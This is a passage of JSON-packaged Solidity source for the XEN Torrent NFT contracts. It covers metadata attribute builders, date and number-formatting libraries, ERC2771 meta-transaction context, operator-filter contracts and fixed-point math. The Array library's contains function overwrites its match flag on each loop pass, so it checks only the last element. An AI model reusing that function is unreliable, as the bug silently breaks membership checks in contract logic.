'{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <[email protected]>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 